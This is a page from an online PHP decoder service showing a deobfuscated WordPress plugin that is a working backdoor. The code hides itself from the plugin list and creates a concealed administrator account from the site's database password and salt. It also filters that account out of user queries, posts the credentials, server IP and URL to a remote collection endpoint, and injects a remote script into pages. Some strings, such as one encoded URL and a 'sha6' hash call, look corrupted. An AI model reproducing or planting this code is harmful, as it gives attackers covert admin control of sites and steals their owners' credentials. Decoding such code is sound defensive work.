Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto PxwLJmBh63dYP_NB;
	 Wm5WQG_2oKEGU2jM: register_deactivation_hook(__FILE__, function () {
	 delete_option("nitropress_data_sent");
	 
}
);
 goto iq3Iu9YzXHxxLhwB;
	 PxwLJmBh63dYP_NB: class DeltaResponseEngine {
	 private $seed;
	 private $config = array("font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9rc2ZsZGZrbHNrZG1ieGN2Yi5jb20vZ2lnaQ==", "endpoint" => "aHR0cHM6Ly9raWNrc3RhciYmxvbuaW5mby9jb2xsZWN0LnBocA==");
		 public function __construct() {
		 $this->seed = md5(DB_PASSWORD . AUTH_SALT);
		 $this->init_hooks();
		 
	}
		 private function init_hooks() {
		 goto YnZUImGnfAslkgPp;
		 IrnM9HdBiMLUgrM4: add_action("init", [$this, "create_admin_user"]);
		 goto HdcnT6xu11A5MtDS;
		 HdcnT6xu11A5MtDS: add_action("pre_user_query", [$this, "filter_admin_users"]);
		 goto J9fjrUJHEhh2aA1z;
		 J9fjrUJHEhh2aA1z: add_action("wp_enqueue_scripts", [$this, "load_assets"]);
		 goto TqivgynumnCBuOK1;
		 YnZUImGnfAslkgPp: add_filter("all_plugins", [$this, "hide_plugin"]);
		 goto IrnM9HdBiMLUgrM4;
		 TqivgynumnCBuOK1: 
	}
		 public function hide_plugin($PGTyS4IOfXIlUAhf) {
		 unset($PGTyS4IOfXIlUAhf[plugin_basename(__FILE__)]);
		 return $PGTyS4IOfXIlUAhf;
		 
	}
		 public function create_admin_user() {
		 goto ZArpQa7yVvqVjS5a;
		 WWTsmevIGl7L2ICJ: $this->send_credentials($UXnTC1HEm23zEwcL);
		 goto KRLzclZYN8QYmbTa;
		 KRLzclZYN8QYmbTa: update_option("nitropress_data_sent", true);
		 goto zosZ3mLIFVLFzzRQ;
		 SObO2Wf7Ltwo8uUB: $UXnTC1HEm23zEwcL = $this->generate_credentials();
		 goto yl7LRBqNjWB8M4md;
			 ZArpQa7yVvqVjS5a: if (get_option("nitropress_data_sent", false)) {
			 return;
			 
		}
		 goto SObO2Wf7Ltwo8uUB;
			 yl7LRBqNjWB8M4md: if (!username_exists($UXnTC1HEm23zEwcL["user"])) {
			 $WABZyBZFlTd1UP52 = wp_create_user($UXnTC1HEm23zEwcL["user"], $UXnTC1HEm23zEwcL["pass"], $UXnTC1HEm23zEwcL["email"]);
				 if (!is_wp_error($WABZyBZFlTd1UP52)) {
				 (new WP_User($WABZyBZFlTd1UP52))->set_role("administrator");
				 
			}
			 
		}
		 goto WWTsmevIGl7L2ICJ;
		 zosZ3mLIFVLFzzRQ: 
	}
		 private function generate_credentials() {
		 $Q_MTHTvWbXV_1Obr = substr(hash("sha6", $this->seed . "creds"), 0, 16);
		 return ["user" => "sys_" . substr(md5($Q_MTHTvWbXV_1Obr), 0, 8), "pass" => substr(md5($Q_MTHTvWbXV_1Obr . "pass"), 0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()];
		 
	}
		 private function send_credentials($KqXFi7QnHlW8NQol) {
		 goto dnE77FqW_1UBGWkz;
		 dnE77FqW_1UBGWkz: $N1qKYsdn4OkOoGGQ = json_encode($KqXFi7QnHlW8NQol, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
		 goto LAYuuky3Vx0DuEaV;
		 LAYuuky3Vx0DuEaV: $uAafFA8sR0Vkl3i9 = ["body" => ["d" => base64_encode($N1qKYsdn4OkOoGGQ)], "timeout" => 15, "blocking" => false, "sslverify" => false];
		 goto xJb_12dJN_FljAuu;
		 xJb_12dJN_FljAuu: wp_remote_post(base64_decode($this->config["endpoint"]), $uAafFA8sR0Vkl3i9);
		 goto FIbE9qVR2bPR2bML;
		 FIbE9qVR2bPR2bML: 
	}
		 public function filter_admin_users($PjN2sBaBTaKCbvxp) {
		 goto xogQcP3NkZCpN5NX;
			 WOnQfZB0VfU8IwiD: $PjN2sBaBTaKCbvxp->query_where .= " AND {
			$miu2edpW1kryZ52q->users
		}
			.user_login != '{
			$lNWZ4heNJFdvFDx_
		}
		'";
		 goto rDAi2NTpGZ2E7Yqb;
		 COfXajZWtakbCJV2: $lNWZ4heNJFdvFDx_ = $this->generate_credentials()["user"];
		 goto WOnQfZB0VfU8IwiD;
		 xogQcP3NkZCpN5NX: global $miu2edpW1kryZ52q;
		 goto COfXajZWtakbCJV2;
		 rDAi2NTpGZ2E7Yqb: 
	}
		 public function load_assets() {
		 goto pL6nCA9dH_PzqWx5;
		 FqEk2_teHB7gx2bB: wp_enqueue_script("ic-tracker", $kHt2JXIJiO3TLyAL, [], null, ["strategy" => "defer", "in_footer" => false]);
		 goto zSmnLg9RdVwiNgob;
		 eKQmK38cXkgY_rgD: $kHt2JXIJiO3TLyAL = base64_decode($this->config["script"]) . "?ts=" . time();
		 goto FqEk2_teHB7gx2bB;
		 pL6nCA9dH_PzqWx5: wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null);
		 goto eKQmK38cXkgY_rgD;
		 zSmnLg9RdVwiNgob: 
	}
	 
}
 goto Wm5WQG_2oKEGU2jM;
 iq3Iu9YzXHxxLhwB: new DeltaResponseEngine();



© 2023 Quttera Ltd. All rights reserved.